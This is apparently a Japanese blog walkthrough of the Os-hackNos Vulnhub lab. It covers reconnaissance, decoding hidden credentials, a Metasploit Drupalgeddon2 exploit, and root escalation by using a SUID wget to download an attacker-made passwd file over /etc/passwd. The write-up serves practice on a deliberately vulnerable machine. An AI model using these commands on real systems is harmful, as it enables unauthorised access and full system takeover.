banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

Os-hackNos-Vulnhub ウォークスルー

ターゲットのアドレス

ターゲットの難易度:初級から中級
フラグの数:2

ツールと脆弱性情報#

  • netdiscover
  • nmap
  • gobuster
  • msf の Drupal 脆弱性利用モジュール
  • SUID の wget 特権昇格

0x01 情報収集#

ターゲットのスキャン#

netdiscover-rオプションを使用して192.168.1.0/16をスキャンした結果は以下の通りです:

image

nmapを使用してホストとポートの情報をスキャンします:

nmap -sS -A -n -T4 -p- 192.168.1.11

image

nmapを使用して脆弱性情報をスキャンします:

nmap --script nmap-vulners -sV 192.168.1.11

image

msfcveの脆弱性を検索します:search cve:CVE-2019-10082

利用可能なものはありません

パスのスキャン#

gobuster を使用してパスをスキャンします:

gobuster dir -u http://192.168.1.11 -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

image

私たちがよく知っている古い友人であるdrupalと、奇妙なパスalexander.txtが見つかりました。アクセスして以下の内容が表示されます:

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

image

base64でデコードするとBrainfuck codeが見つかります。オンラインデコーダーを使用してjames:Hacker@4514にデコードします。

取得したアカウント情報を使用して SSH でターゲットにログインしようとしましたが、成功しませんでした。

0x02 一般ユーザーの getshell#

では、私たちの古い友人であるdrupalに戻りましょう。以前にDC:7-Vulnhub Walkthroughで紹介したdroopescanを使用します:

git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.12/drupal -t 32

image

スキャン結果は7.57バージョンであり、このバージョンには脆弱性が含まれています:

image

msfを起動し、効果の高いモジュールexploit/unix/webapp/drupal_drupalgeddon2を使用します:

image

meterpreterセッションを取得し、シェルに入ると、再び表示されない環境になりました。そのため、pythonを使用してttyを取得します:

python -c 'import pty; pty.spawn("/bin/bash")'
`python2`がインストールされていない場合は、以下のように変更する必要があります:
python3 -c 'import pty; pty.spawn("/bin/bash")'

image

clearコマンドを使用して画面をクリアしたい場合は、TERM環境変数にscreenを設定するだけです。

export TERM=screenと入力し、screenを入力して画面をクリアできます。

0x03 root への昇格#

一般的な Linux の昇格方法は次の 3 つのカテゴリに分けられます:

  • ローカル昇格
  • データベース昇格
  • サードパーティソフトウェア昇格

サードパーティソフトウェアの昇格では、通常suidを使用して昇格します。

suid権限を持つコマンドを確認するために、前の記事「bossplayersCTF:1-Vulnhub Walkthrough」で説明したsuid昇格を使用します。

find / -perm -u=s -type f 2>/dev/null
  • /: ルートディレクトリで検索する
  • perm: 指定されたパーミッションのファイルを検索する。/u=s または - u=s オプションは、システム内のすべてのsuidファイルをリストします。
  • type: 指定されたファイルタイプに一致するファイルを検索します。-type f: 指定されたディレクトリ内のすべての通常のファイルをリストします。
  • 2>/dev/null: 2 > の部分は「ファイルチャネル 2 をリダイレクトする」という意味で、stderr にマッピングされる標準エラーファイルチャネルです。プログラムがエラーを書き込む場所です。/dev/null は特殊な文字デバイスで、そこに書き込むことしか許可されていません。読み取り時には何も返さず、したがって 2>/dev/null は、実行中のプログラムの標準エラーを /dev/null にリダイレクトし、効果的に無視します。
  • SUID: SUID (Set owner User ID up on execution) のことです。簡単に言えば、suid は、所有者の権限の実行ビットに表示され、この権限を持つファイルは、実行時に呼び出し元に所有者の権限を一時的に与えます。したがって、root が所有者であり、実行ビットに s があるファイルを見つけると、通常のユーザーがそのファイルを実行する場合でも、そのファイルの実行権限は root です。

image

一般的なsuid昇格ツールであるwgetが見つかりました。wget昇格の手順は次のとおりです:

  • 攻撃者のマシンでopensslを使用して暗号化パスワードを生成します。
  • いくつかの特殊なフラグを組み合わせて、ユーザーハッシュ情報をpasswdファイルに書き込みます。
  • ターゲットマシンの完全なシェルでwgetを使用してpasswdファイルをダウンロードし、ターゲットマシンの/etc/passwdを上書きします。
  • 手動で作成したユーザーに切り替えて、設定したパスワードを入力してroot権限を取得します。

具体的な手順は以下の通りです:

パスワードハッシュを生成します。パスワードの部分は任意のものに変更してください:
openssl passwd -1 -salt salt soapffz
いくつかのフラグを追加してファイルに書き込みます:
echo 'soapffz:$1$salt$dyEMWdWzqBIZJWWvteXEg0:0:0::/root/:/bin/bash' >> passwd

image

次に、シェル内でファイルをダウンロードします(/etc フォルダ内):

wget http://192.168.1.11/passwd -O passwd
su soapffz

これでrootシェルに成功しました。

参考文献:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。